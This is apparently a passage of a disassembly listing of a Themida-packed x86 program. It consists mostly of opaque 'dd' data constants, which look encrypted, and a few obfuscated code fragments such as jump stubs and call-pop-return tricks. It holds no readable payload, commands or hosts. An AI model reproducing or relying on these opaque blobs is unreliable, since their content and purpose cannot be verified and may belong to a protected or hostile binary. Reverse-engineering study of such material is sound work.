dd 0FFE732DAh, 0A22D71A4h, 76DF3879h, 0F45F16C7h, 837DE085h
dd 7A35FFE6h, 2B19D31Bh, 0E85F89Fh, 833DA0BCh, 0A63FFE6h
dd 0BC52C15Bh, 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh
dd 90BF76EAh, 0A71F16CFh, 41A6316Dh, 1C8292D0h, 74FF6891h
dd 973FF922h, 19D3A605h, 0BC0E852Bh, 0E6833DA0h, 5B0A63FFh
dd 833DA0BCh, 0A63FFE6h, 855F165Bh, 70C3ED2Dh, 5133B366h
dd 4AB81B87h, 85DEFFE7h, 4A76D9F5h, 439CFFE7h, 7CBCE69Dh
dd 2AB5E927h, 84E75B01h, 0B2FFE683h, 3DA6F81Dh, 656383ADh
dd 79F725A6h, 92BC1CD3h, 0C051FD0Eh, 0A06F146Bh, 56C558FEh
dd 1FECA1E0h, 1B7A514Ah, 0F54A19D3h, 24DB811Dh, 31032D85h
dd 0FF407488h, 85E80494h, 0ABFFE6F8h, 0BCF5AC52h, 0E6833DA0h
dd 0B8D414FFh, 0FFE68355h, 742AE67Bh, 0FC5F7B0Bh, 2AFFE682h
dd 89E22BD1h, 3DA0BCDAh, 14FFE683h, 408CFDEAh, 5F054AB1h
dd 0BC0EBD16h, 65F0AE67h, 0A158963Ch, 0A0BC0E85h, 0FFE6833Dh
dd 0C15B0A63h, 326CA752h, 7A52C183h, 722CE53Ah, 6118BEE7h
dd 204A19D3h, 513214EFh, 48FFA59Fh, 0A0BC0E85h, 0FFE6833Dh
dd 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh, 0E855F16h, 203C7CBCh
dd 0FFE683BDh, 40108AE3h, 46C83E2h, 43A61AC0h, 71FFE6FDh
dd 0FD72D5F1h, 47A0FFE6h, 0F20E4EDEh, 0FFE6FD8Fh, 4B3C17Ch
dd 7EBFD16Bh, 16799525h, 3CFFE6CAh, 0C1863DE3h, 0A7F71C71h
dd 0A1E04A01h, 514A1FECh, 0A5306EA7h, 40CBD340h, 5539F324h
dd 0E577E0BEh, 2B19D386h, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h
dd 0E6833DA0h, 5B0A63FFh, 0E855F16h, 833DA0BCh, 0A63FFE6h
dd 0AF92BC5Bh, 5DC0DCE6h, 83FFE6E0h, 3B71B02Ah, 3C8C1FC5h
dd 0DA3929E7h, 0A7D05BC4h, 29E04A01h, 0C916CF91h, 67BC1B7Ah
dd 3D66F1ADh, 8D5C1697h, 49740663h, 0A54AF5F6h, 0D38A306Eh
dd 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh
dd 1E7F92BCh, 7B9927C2h, 0A7E097D5h, 1683326Ch, 8CA4547Eh
dd 8652B5D1h, 2780FFE6h, 7D3129ADh, 0E8520D7h, 2D8552C1h
dd 836ED1EDh, 0FF94FFE6h, 7D238C12h, 0D992BCC6h, 42B41CD3h
dd 60CF6208h, 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 0AF5C022Bh
dd 0BC8F3E60h, 67F2AC67h, 0A35A983Eh, 7DE085F4h, 35FFE683h
dd 0E8103A7Ah, 83A52BD9h, 0BC9C53F9h, 82FD607Ch, 0CA23FFE6h
dd 0FBE9A324h, 4EC2179Fh, 0E0F3AA50h, 0FFE6F724h, 3668A7D4h
dd 8552C187h, 0AD67BC0Eh, 97B34BF1h, 0FFE68334h, 4A54BE13h
dd 892F6FA5h, 1638E740h, 0BC85F45Fh, 82FD607Ch, 0CA23FFE6h
dd 70862D50h, 7A208BCCh, 0AD5C42CDh, 68A75F16h, 52C18736h
dd 0E6837DE0h, 13FF54FFh, 78C6008Bh, 3B82BB1Fh, 10C76DD6h
dd 19D31B7Ah, 2568A72Bh, 0D4D14E8Eh, 82E5014Ah, 0B0FFE744h
dd 0D685EE57h, 0A40992BCh, 9EA54A4Ch, 0A703BAF8h, 0C181306Eh
dd 837DE052h, 0A735FFE6h, 1681306Eh, 7BE7297Eh, 517A0599h
dd 8E345DE8h, 2568A7D7h, 1E6FD92Ch, 5A09728Bh, 6EA752C1h
dd 0DF11C71Fh, 0B4DD6836h, 784F243Ah, 92BC600Fh, 0DC3BEAF8h
dd 0F78A302Bh, 0D31B7A88h, 67BC2B19h, 4559B9A9h, 0C0DE37DCh
dd 0FCA26D1Ah, 0A75F164Dh, 60A0306Eh, 0E682E144h, 3767ABFFh
dd 40F79DF6h, 0F1AD67BCh, 0A7560D4Bh, 0C1873668h, 0BC0E8552h
dd 0E6833DA0h, 5B0A63FFh, 68A752C1h, 5F168736h, 67BC0E85h
dd 0C151F6A8h, 832952DDh, 836CCFEBh, 419AFFE6h, 107687B1h
dd 4F8A0CB9h, 0E883734h, 4ADA7E86h, 0E777CB2Eh, 0FAA0F9FFh
dd 547E1643h, 97980655h, 8E45EB23h, 0E85F89Fh, 6CA752C1h
dd 0B77EA732h, 0BC52C140h, 82FD607Ch, 56BFFFE6h, 5394BD48h
dd 69A754FAh, 5F168635h, 7DE085F4h, 35FFE683h, 0F5103A7Ah
dd 5C523852h, 0D34900A6h, 67BC2B19h, 4069F4AAh, 85DE59Ah
dd 0DE07920Ch, 3CC7D739h, 0E0B66D13h, 0FFE6E8F1h, 0A6DA781h
dd 0E6838BEEh, 0EB4E6AFFh, 19FFE682h, 0BD267FC0h, 607CBC0Eh
dd 0FFE682FDh, 9124CA23h, 0BC0E8522h, 0E6833DA0h, 42CE63FFh
dd 83B61935h, 83DCFFE6h, 1602B11Ah, 0A785F45Fh, 1682316Dh
dd 6392BC5Fh, 1174909Ah, 3FFFE693h, 0D0716CE6h, 0C91F829Eh
dd 0EC45FFE6h, 0E430DD83h, 92BC0BBAh, 380181BEh, 53E68CBBh
dd 837DE0E4h, 7A35FFE6h, 702EE53Ah, 5F16BCE5h, 0A72B19D3h
dd 0C49B206Dh, 18E2C4DEh, 5F1600AFh, 84527CBCh, 0A650C7B3h
dd 9FD538A4h, 0A2FBFFE6h, 0D9C54FFCh, 0E052C12Ah, 0FFE6837Dh
dd 55BF1454h, 837ADD49h, 0CF44FFE6h, 0DA1B44CFh, 6B33DC81h
dd 5A11B7E0h, 0A6316DA7h, 40CBD341h, 270BC5EEh, 784AB3EBh
dd 722CE338h, 19D315CCh, 8BEE0A4Ah, 0B9FFE683h, 8B17E660h
dd 0D25B95Ah, 6DA7B067h, 5F168231h, 0D1ED2D85h, 0FFE6836Eh
dd 0DE953B94h, 92BC52C1h, 57681025h, 5805ABC0h, 0ABB5D1BCh
dd 0A52551F8h, 52C18D3Ch, 0A5306EA7h, 0BC3EB57Ch, 0E68341A0h
dd 57065FFFh, 0E9297E16h, 9D0110B5h, 6DA740F7h, 5F168231h
dd 39D82D85h, 0A075DA65h, 38EF95FEh, 0F89F52C1h, 0CE028BD2h
dd 0AB5037FCh, 82AB3668h, 52C144BBh, 1DF56DA7h, 8391F681h
dd 0B949B21Bh, 0BA1D3979h, 0E8FFE683h, 83C0238Fh, 8DE6FFE6h
dd 5F1630E7h, 863569A7h, 85F452C1h, 0A53569A7h, 0C2057F7Bh
dd 0A1473AF3h, 297E16EAh, 5A11B7E7h, 0E1AC67BCh, 0D2A6D363h
dd 18BD26B5h, 0EF18A3FBh, 2A749C49h, 0B892BC7Bh, 13F6FBFBh
dd 0A211A44Ah, 0E6837DE0h, 69A735FFh, 0CD45AA35h, 0CBF446D1h
dd 38976911h, 0F4AA67BCh, 38DEC04Fh, 0A70FFDB7h, 0B2CE0E69h
dd 0FFE6834Fh, 4DB01C75h, 73FFE683h, 1602B11Ah, 0EA92BC5Fh
dd 5C8C2DE0h, 858D3AE0h, 52C16A19h, 0EB9DE1E0h, 5470B037h
dd 37EB9CF1h, 6920C61Fh, 0F00C6BA7h, 0FFE6838Dh, 42F15AB3h
dd 0F2AC67BCh, 98FB1767h, 0BEFFE683h, 1856FC65h, 336BA761h
dd 0E052C184h, 3D81D0B1h, 0D31B7A41h, 6BA72B19h, 1C8519F7h
dd 6DB3628Ch, 5C2A08F6h, 5F16FFB6h, 84336BA7h, 0FD607CBCh
dd 23FFE682h, 1BC750CAh, 6C03180Ah, 0E0C433C6h, 0FFE6837Ah
dd 910D0459h, 8037DD06h, 0C451A6EEh, 833497B3h, 962FFE6h
dd 0D343FAA0h, 1BF54A19h, 0BC26DD83h, 0AC086992h, 0E3890E35h
dd 0E4B1DC36h, 0BD612758h, 0BC9D4CB5h, 2E3DEB92h, 0F3993845h
dd 6DA7FEB5h, 52C18231h, 0FD607CBCh, 23FFE682h, 0BEB024CAh
dd 0B658F9F8h, 0FD607CBCh, 0EAFFE682h, 9061CA1Eh, 4AA3E414h
dd 811DF7A4h, 0A75F16D2h, 0C184336Bh, 0A867BC52h, 0C8426BF6h
dd 0E685EF42h, 0E7943A46h, 0C1C2712Dh, 0D351C852h, 6BA72B19h
dd 92BC8433h, 0BA048CC1h, 2A680EB6h, 316DA773h, 0A75F1682h
dd 4EA3336Bh, 264FDAC4h
dd 52C1C980h, 0E2608A0Ah, 0FA84255Ah, 0D37B32D8h, 5F162B19h
dd 0F1AD67BCh, 97FA1666h, 0BDFFE683h, 0B956FB64h, 80923FE5h
dd 4233FF0Dh, 52EDFBAAh, 102CA660h, 4CFB6411h, 60E052C1h
dd 18AEE61Eh, 0ED257ABAh, 57FD26B1h, 2B19D3A0h, 84336BA7h
dd 69A75F16h, 52C18635h, 0F2AC67BCh, 7B993E67h, 42D07D23h
dd 52C1AD5Ch, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h, 0A72B19D3h
dd 3D0F2469h, 2AB5E927h, 0B2038701h, 0ABB11430h, 86DFFFE6h
dd 1605B41Dh, 0C10E855Fh, 0A6F81C71h, 0C34DF21Bh, 0A77E35DBh
dd 0BC84336Bh, 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 837DE085h
dd 1454FFE6h, 0E68395F8h, 1F3BBBFFh, 0FFE683BCh, 822891EAh
dd 0D31B7ACBh, 0F89F2B19h, 0F2AC67BCh, 0EB983E67h, 0CAD43D25h
dd 25B0EE25h, 0C1E493FCh, 0A6F81C71h, 5878F21Bh, 919B9BD5h
dd 0A79249EFh, 8519F76Bh, 0A168D1FAh, 3DA0BC2Ah, 63FFE683h
dd 52C15B0Ah, 863569A7h, 55547E16h, 30EF984Eh, 0A7E69D43h
dd 126A316Dh, 0BCBA79E8h, 0DA7FC72Bh, 0B0D9643Ah, 0A0BC530Ah
dd 0FFE6833Dh, 257A0A63h, 0D525B0EEh, 0E68356B9h, 0BA237CFFh
dd 5F165D14h, 0E88FF89Fh, 0AB3668A7h, 0BDE12E93h, 83AB1387h
dd 8110FFE6h, 0F4002A74h, 0FFE6109Bh, 0E5F4379Eh, 51AE3DFFh
dd 0F9A6DCC2h, 0E1F9841Ah, 0C6D83C91h, 0F86C123Bh, 0FFE5F491h
dd 0ABC70797h, 0FFE5F448h, 8F6F156Eh, 0F44C4B77h, 29FFE5h
dd 0DF65A46h, 39002972h, 0Ah, 267BBBD2h, 12AB5E9h, 6FA7A45Bh
dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h, 80198F8h
dd 0F8A423E9h, 0B83A1FFh, 0B30DF4D3h
; ---------------------------------------------------------------------------
mov cl, dh
dec ebp
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_600F1B: ; CODE XREF: sub_5FA83B+24F9j
lea ecx, [ebp+801DB5Ah]
mov dh, 7Ah
mov [ebp+7FA1CD9h], ecx
mov edi, [ebp+7FA1021h]
mov dword ptr [ebp+7FA31ADh], 6EE0h
jmp loc_600F4E
; END OF FUNCTION CHUNK FOR sub_5FA83B
; ---------------------------------------------------------------------------
dw 3B69h
dd 733714A4h, 6051E9DFh, 460F580h
db 0A5h, 0DEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_600F4E: ; CODE XREF: sub_5FA83B+66FEj
mov dword ptr [ebp+7FA2BD9h], 0
mov [ebp+7FA240Dh], ecx
push dword ptr [ebp+7FA3391h]
push 0
push ecx
call sub_600F6F
and [ecx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5FA83B
; =============== S U B R O U T I N E =======================================
sub_600F6F proc near ; CODE XREF: sub_5FA83B+672Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_600F6F endp
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
fld qword ptr [ebx+ebx*8+72h]
scasd
cmp dword ptr [ecx-666A003Eh], 17h
cli
pop es
xor [ebp+7FA31D1h], esi
push 0
call dword ptr [ebp+7FA1019h]
mov eax, eax
jmp short loc_600FFA
; ---------------------------------------------------------------------------
dd 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh
dd 9E302A4Eh, 632BB765h, 6725089h, 0BD957ACAh, 1850CF4Eh
dd 0F63F8CFDh, 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh
dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 0BEBA6C47h
dd 0D564D33Bh, 19A82460h
; ---------------------------------------------------------------------------
stosd
inc ebx
loc_600FFA: ; CODE XREF: Themida_:00600F9Ej
jmp loc_601017
; ---------------------------------------------------------------------------
db 19h
dd offset dword_5267F4+3C1h
dd 4 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_601017: ; CODE XREF: Themida_:loc_600FFAj
jmp loc_601E44
; ---------------------------------------------------------------------------
push 801DDE4h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801DF03h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801DFD9h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801E06Fh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801E3E4h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801E726h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801E84Bh
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 4EC8h
; ---------------------------------------------------------------------------
push eax
sbb ch, [ebp-5Bh]
stc
retn
; ---------------------------------------------------------------------------
dw 0FF16h
dd 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h
dd 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E85Fh, 6AA7A158h
dd 0CC44A934h, 832C8FABh, 15AFFE6h, 88016298h, 31B0EEC7h
dd 0B821D0CDh, 7F93E828h, 5997A1Fh, 0E309EB5Fh, 0D42D07E0h
dd 0E2B61D49h, 3FC007E0h, 0EA467E85h, 2DE4406Eh, 75000000h
dd 858E96F3h, 0E020B019h, 0E68361C4h, 90368FFFh, 0B4AADCF8h
dd 5FB807E0h, 0B441A8D4h, 0CA4B07E0h, 0C0D10910h, 76F406Eh
dd 0
dd 90D6Dh, 6CA70600h, 2D57A732h, 95503A0Dh, 9643E9DEh
dd 8AEB217Dh, 0B5D161FFh, 7E1031Bh, 0B7E36EC7h, 7E10250h
dd 18A3FB1Ah, 0B43F5FB3h, 5AD6798h, 8CDE08A0h, 4176CFEEh
dd 0E9A324CAh, 6F42AAE2h, 4D4840h, 0F3D90000h, 1E3ACA96h
dd 7E09C50h, 3767AAFFh, 64EF4891h, 967FD414h, 0E8547D08h
dd 7E09B85h, 4AD5C947h, 0E187E021h, 0E09B066Dh, 5E40D007h
dd 46783D3h, 3207E09Bh, 0BEE034D9h, 0E7A1DA33h, 9F59DA3Fh
dd 6EA76098h, 0D3FE40h, 0A78F0000h, 42A7326Ch, 0EA3FCFCFh
dd 0B1EB7628h, 0BAEC6DA9h, 0FFA50EFFh, 920C076Ch, 0F171A207h
dd 0C9F27D21h, 2FB62A60h, 39FFE6FEh, 0E18EC4DAh, 91E16C32h
dd 808FD33Ch, 0AE0FB51Eh, 0D7C749DBh, 2ABA234Ch, 642DC0EAh
dd 55890170h, 0A39D3BAFh, 0D0FA07E1h, 923308F0h, 0F740E6DBh
dd 5BB90E9Eh, 0EA8FB843h, 0C2EB7628h, 0C7DDE1Ch, 65A8C454h
dd 4B0FDDB7h, 40D62F2h, 77CC649Ah, 527B0698h, 0B03B63ADh
dd 0DD34E187h, 0C3BC03C1h, 649F999Ah, 0B71C5h, 138B8B00h
dd 0BCE230DDh, 623CD986h, 0E907F2Ch, 0B8E62BD8h, 0B2994E82h
dd 5C093F5Fh, 3B0E6B8h, 0AE5B910Dh, 34033965h, 605DC0DCh
dd 1D8307E8h, 346AA766h, 0DCC251FEh, 801EF74Ch, 0E826CCF5h
dd 0A396F331h, 0E6832487h, 590819FFh, 0F498A04Bh, 61F15AB3h
dd 0E0AA7745h, 0BA4AA307h, 63EEB065h, 9A94F713h, 69C207E0h
dd 9BC75A00h, 7E09A34h, 0FC03BD3Eh, 406EA6C4h, 0DC62h
dd 7CBCF300h, 0E682FD60h, 4955BFFFh, 2235AF08h, 1AA665DFh
dd 6CA754FAh, 257A732h, 25EC910Dh, 1FC5EE79h, 74FF9F72h
dd 0E718C148h, 0C94BA0FFh, 7B214AD5h, 0C95945CEh, 59FF9F74h
dd 0E12E831Bh, 0A96A17BDh, 0C51A6AF5h, 0EC86404Dh, 90F33CC9h
dd 69208127h, 0AD4B67F7h, 8A07E10Ch, 19BFDF35h, 92E777D0h
dd 67901B83h, 672283C1h, 0F94D69F9h, 250FDDAAh, 0E64965A5h
dd 0CFFED18h, 18E447B3h, 0B912FFEDh, 0A66BC050h, 0FC15C2F8h
dd 18FC5F7Bh, 952AFFEDh, 4FB8217Dh, 9AE53891h, 49E82399h
dd 0A52h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh
dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh
dd 0F9512056h, 0E8627ADDh, 8B42A807h, 0FE346AA7h, 0A6DCC251h
dd 326CA7EFh, 0E34662A2h, 11FFE682h, 9E0013B8h, 0B144EA13h
dd 47D7C74Ch, 6801EF2h, 2A6B6028h, 9AD87E3Ah, 82D7B8C1h
dd 96A108Eh, 3450E080h, 7E13A32h, 6E62751h, 0CF047B29h
dd 4A87E029h, 0A62E5EE6h, 2BE439B1h, 1D6CCD73h, 0C597B343h
dd 0D1B61FEDh, 0B5D4ED78h, 0B1DB1BABh, 0F5892446h, 99050DE0h
dd 8C168A30h, 1AB1A97Eh, 37DC31C1h, 2EB9E52Bh, 0FA08B7F4h
dd 0CC35A9E1h, 0C5C98252h, 0F15ACF06h, 42CE23BBh, 2A8D15Ch
dd 6CA4BE55h, 0B80BC932h, 9337A436h, 97CB958h, 96800000h
dd 0ED25D208h, 47CE7BB1h, 9B742157h, 0F120CD03h, 8E4377ADh
dd 0FC326CA5h, 0A3D9C54Fh, 4E841AF6h, 0F62C72A1h, 50B3CF27h
dd 7607E862h, 6CA75910h, 0FB8EA732h, 4AB3EB29h, 2AC190BAh
dd 0E9749504h, 58FAB43h, 5207E19Fh, 0FC8717FDh, 5E2D90ACh
dd 0FA5307E1h, 49A2EB91h, 0F2AC64B9h, 9D010FBCh, 5E83E612h
dd 1F8607E1h, 3507E16Eh, 3C7C0C54h, 0DEA4C612h, 0B7E06B33h
dd 0EBCF973Dh, 0DE13D145h, 0D62F0FDAh, 712DE64Bh, 9C210EB3h
dd 57F63199h, 8E6h, 689E0016h, 114757BBh, 0B7EDB164h, 6399050Ah
dd 0D435BB6h, 0D63B24D9h, 2FE592C8h, 848C396Fh, 0DC37E41Ah
dd 65BD8CC2h, 0E862E649h, 0EFA60C07h, 3ACA96F3h, 336BA5FAh
dd 0D0CE43A8h, 0DB31C45h, 0E097DB99h, 9F720707h, 0DC0696FFh
dd 21CB0188h, 3CCF75E9h, 0E8273BD7h, 99022BB6h, 425CB663h
dd 74EE9EB7h, 0E29DC8E4h, 6AC307E0h, 6A244DDFh, 0DC3F5B9Bh
dd 0D107E0E2h, 0AA06BAC3h, 28BDFEA8h, 32CB7E7h, 0CB47F49Ah
dd 0C2299DD3h, 0D807E0A2h, 622B2B4h, 7E0A2C7h, 0CE669CF5h
dd 0DBE898A4h, 9C4225EEh, 0D33F23EFh, 0ABD762CBh, 7E1203Ch
dd 5236F019h, 0FBA8DEC0h, 0E1446017h, 0F07E11Eh, 9D0111B6h
dd 0F580E912h, 0E11FB2C9h, 0BA0F4F07h, 59BE4955h, 0EA7AE3BBh
dd 0E11F6BCEh, 9A409907h, 977B5F19h, 7D4D7707h, 98C0C0D5h
dd 0CF306E14h, 0F713A3BDh, 7E09291h, 7FD464BDh, 547D0896h
dd 0F1EF1BAEh, 0A97C41F6h, 2F676E28h, 0CDAC0FF6h, 1AFh
dd 0A967BC5Eh, 16CCD3E4h, 0B11A22C6h, 81DFAA0Bh, 4137D5F1h
dd 0BF1407E1h, 92783954h, 60F00CBBh, 730851F7h, 4C75009Eh
dd 0A9346AA7h, 32871780h, 0DA87BDE1h, 80D56539h, 0D6690F8Fh
dd 0ACE13186h, 66FE8ABBh, 0AB51BAACh, 27513237h, 510B448Fh
dd 0C2F8A66Dh, 15A0FE15h, 0A0D690FCh, 0F7821CF3h, 0DAF68192h
dd 80A30C77h, 9E011D9Dh, 0C480A30Ch, 6399026Bh, 0FD98A1CBh
dd 8DFC39DBh, 0EA7529E8h, 0A56E1BC1h, 0F553B6D2h, 288180A2h
dd 35DA2FBFh, 504EC469h, 63F69CC5h, 2DABA237h, 0E19BD4F3h
dd 528816FDh, 0F4AA65BAh, 35DBC34Fh, 88138B88h, 0B3431D6Fh
dd 49F45773h, 0C922F21Dh, 0F64B8B23h, 6ADE841Ah, 0F21D4A07h
dd 0F19ED42Dh, 0D1CD4220h, 0C8C4DD68h, 93F20E9Eh, 0B1F21D4Ah
dd 9E752258h, 0AC514DC4h, 45D03965h, 0E26D31E0h, 0CE61050h
dd 0B3EB2423h, 0F2609E39h, 2D11CB4Ch, 0D582B8E6h, 0AEF0243Eh
dd 691FA23h, 0B2B061B6h, 8AB33E60h, 721A7B21h, 0E94460F0h
dd 0C8F21D59h, 2852109Eh, 29B4EAh, 48DFF486h, 700059A2h
dd 3ADC046h, 0EC924D3Eh, 8C1201AEh, 2A749C01h, 6A244D9Fh
dd 0D697719Bh, 0C88174DAh, 9E7522h, 33DD32CAh, 0FB18C56Bh
dd 2F65EC92h, 57C0B16Ch, 87D9B3CCh, 1E6FA2F7h, 0B7FDD0BAh
dd 17A20B95h, 94B048EEh, 0F21C8F3Dh, 306EA7FCh, 0B2E8418Ah
dd 144EC51Ah, 0ED16A1FDh, 0DF31DE84h, 35DA2FBFh, 0FB5DE69h
dd 3729637Ch, 8F388BA7h, 0CF0FF21Ch, 1C8F50B3h, 771D76F2h
dd 79FD52Eh, 0B03B63B2h, 0A72AE187h, 8519F66Ch, 1AEDC0FAh
dd 334EDF30h, 0CA2B61CAh, 0D111A1BFh, 0E74852B5h, 812780FFh
dd 72BBCDE9h, 67E707E1h, 0E171E84Bh, 10B50E07h, 0A4349D01h
dd 74030F64h, 0E171F558h, 59C21B07h, 52FFA5CEh, 12AAE0BEh
dd 0B2EB6FE8h, 0AB654A4Dh, 37E48AF3h, 38A7B4D9h, 0C50F71EAh
dd 0D1B8D15Ch, 95BFFF8Fh, 0AD4E800Bh, 0E75B01D6h, 0FDB015Dh
dd 60A03089h, 2B97070Bh, 0FFE700C8h, 5CEF95EEh, 0E710C930h
dd 0B6AADFFFh, 54C0A26h, 217A07E1h, 0B4D93C91h, 39B90C76h
dd 99248DC2h, 20CDF670h, 88F33410h, 29EA4FE2h, 1A18B775h
dd 0F02B9E66h, 57151h, 138B8B00h, 0BCE230DDh, 623CD986h
dd 0E907F2Ch, 0B8E62BD8h, 0B2994E82h, 5C093F5Fh, 3B0E6B8h
dd 0AE5B910Dh, 34033965h, 665DC0DCh, 1D8307E8h, 0CA96F366h
dd 0B7A41E3Ah, 9EF307E0h, 38812777h, 71254FDFh, 5EDFB470h
dd 0CEFA8D33h, 7E15868h, 8A85DA72h, 0DC6737D8h, 96BF4AB3h
dd 5887EA06h, 54AD07E1h, 6C732DAEh, 406F6034h, 0E7D2h
dd 7CBC6300h, 0E682FD60h, 50CA23FFh, 0F7A07A5Dh, 31A54B2Bh
dd 0FFE725FAh, 251A7D99h, 0B348FFE7h, 6BD43D61h, 385494DCh
dd 0FFE725D5h, 0FC5F7BFBh, 2AFFE724h, 15C268D1h, 96AA0FEh
dd 2B73A084h, 0C6D83BA0h, 40A9123Bh, 253994B0h, 0E767FFE7h
dd 0E72568CBh, 0B5E92AFFh, 27B21B74h, 174D51C2h, 0BA55D7B6h
dd 0ABEB7BE4h
dd 0A0BCBB56h, 0FFE7253Dh, 16A10A63h, 78D347EDh, 8EFFE725h
dd 55AAA35h, 41EE940Ah, 3596CCD2h, 5F3FD458h, 0FE1166F6h
dd 24FA5D79h, 0CF28FFE7h, 0C28C066h, 0FFE725C5h, 0E30F9AF3h
dd 0FFE7657Ch, 8DA9CE46h, 0FFE7652Ah, 0B96FF58h, 0A5306EA6h
dd 0B159134Ch, 2DFCB6DFh, 0BF6539D8h, 0A9392F5Eh, 0E765468Dh
dd 0C9E525FFh, 0FFE76566h, 87A3338Ch, 0FFE76524h, 0A53F952h
dd 93947BB1h, 2D000000h, 3ACA96F3h, 0E098601Eh, 9A257E07h
dd 2FBFDF35h, 0DC6737DAh, 6ECF0DB3h, 9EBA4A20h, 7E0973Fh
dd 4D79045Dh, 7E096E5h, 9BA25CDDh, 307A7663h, 5D01h, 9BF39200h
dd 0B61935C5h, 0DCFFE683h, 68A8F883h, 0E682E94Ch, 18BE17FFh
dd 0BFF5A96Bh, 0AA3A305Eh, 8D00156Ah, 6B5A3F17h, 0CB56BF2Fh
dd 7188FCA2h, 1FFFE728h, 0A80F3BC6h, 45FFE768h, 625FDB05h
dd 4768F3A2h, 0CE6620A1h, 0FE1AAAC0h, 0FFE762E7h, 0CC0C9CF5h
dd 0E7624DB0h, 741A73FFh, 7CBC7F36h, 0E682FD60h, 51BEEAFFh
dd 54E10001h, 6714BA13h, 1767F2ACh, 0DA58BBD7h, 257EFFE6h
dd 5D41D27Fh, 61C3C627h, 3D61B1B1h, 0BDE12FD4h, 6884C454h
dd 0FFE6DA05h, 2579962Bh, 6208719Ah, 514AECAh, 59B207E1h
dd 0FDA174C9h, 3198C457h, 3B07E100h, 0F13100BAh, 0E10072D5h
dd 0CD47A007h, 0EF2BE9E8h, 0CD9D43B0h, 406EB295h, 0BD203C7Ch
dd 0E307E0A2h, 70D9C54Eh, 34E9CAh, 0F37A0000h, 1E3ACA96h
dd 7E09C50h, 0F86AAAFFh, 0CEF7821Ch, 1D76BF65h, 9AFF6692h
dd 710907E0h, 9BB21531h, 87E007E0h, 9FA660E1h, 406EA767h
dd 10A05h, 6CA79600h, 0CF42A732h, 0DDF97E93h, 0FFE6837Ah
dd 5BE64FA8h, 0F8831BF6h, 72FD66CFh, 1C71060Dh, 0F31CA7F7h
dd 0E6832487h, 90F952FFh, 0B360B505h, 7B9845EBh, 0F279ED23h
dd 91FFE687h, 3DC8D63Ch, 0DC6737D8h, 0F7A44AB3h, 9F4C821Ch
dd 459A2A74h, 9528CED0h, 0C3530D7Ch, 7B475983h, 0BF1F6B8Ah
dd 2DBFA519h, 92EB07E1h, 3C62AD02h, 0A4E288B1h, 4DB0CC0Ch
dd 7307E103h, 0FE6737DEh, 0CE92F758h, 0E646223Eh, 0CB600FDDh
dd 71DA544Ah, 7FA8B45Eh, 0AE0393FCh, 0FB933965h, 0FD336BA6h
dd 1FDDC150h, 999A8586h, 2FAF4E89h, 0CD000002h, 721F5549h
dd 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h, 811DF4DBh
dd 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h, 7E86A9Fh
dd 0BCA85FC5h, 82FD607Ch, 0CA23FFE6h, 0DD9A7724h, 0E6835EC1h
dd 0C22B84FFh, 0EBCAF48Ch, 847E2E12h, 98237B96h, 0B360066Fh
dd 59AE3E60h, 2E57E2BCh, 0F3934A88h, 1E3ACA96h, 7E09C50h
dd 3B65F54Eh, 0AA5F4F1Ch, 58BBD767h, 7E07E161h, 0FD17BC25h
dd 3C68FBA1h, 7E161D5h, 0D5A45EDFh, 660C9280h, 6F6D5E96h
dd 0D5FC40h, 0A78D0000h, 821CF66Ch, 0DA65CEF7h, 77029C75h
dd 0E687C44Bh, 19858EFFh, 2BC25F89h, 0D58C8105h, 0CF44F12Fh
dd 5E2B44CFh, 0E64F4FC6h, 52C11656h, 4C32A64Ch, 2B07E09Bh
dd 207E96EBh, 9D006C95h, 0C307E09Ah, 544AC56Ah, 0B1FAA0C9h
dd 4A8A2258h, 0E09ACB2Eh, 1F7F9507h, 952A6B94h, 7099247Ah
dd 89006107h, 0F02B47D7h, 0D60FDD79h, 91ADED7Dh, 0FFED4B2Eh
dd 0BD55FB54h, 5CB9A968h, 258EB742h, 0CFCF42EFh, 9ABB8A11h
dd 97367199h, 10Ah, 447A24F2h, 0ED237B97h, 93C9D540h, 3F7529E6h
dd 0E91F7F92h, 0FA1700B5h, 53C16EA4h, 0A868154Bh, 13C0F6h
dd 4199689Eh, 0E86BC225h, 0D38AF007h, 0FE346AA7h, 4CDCC251h
dd 0F09CAD22h, 0D0765522h, 70A5FA92h, 0A7D1882Eh, 1E1216Ch
dd 4CDEC24h, 0DB048F0Fh, 197E0972h, 0BF14A4FAh, 66A44A54h
dd 69879CEh, 4BAC527Bh, 7692223Eh, 7E8A2CDh, 89EC0848h
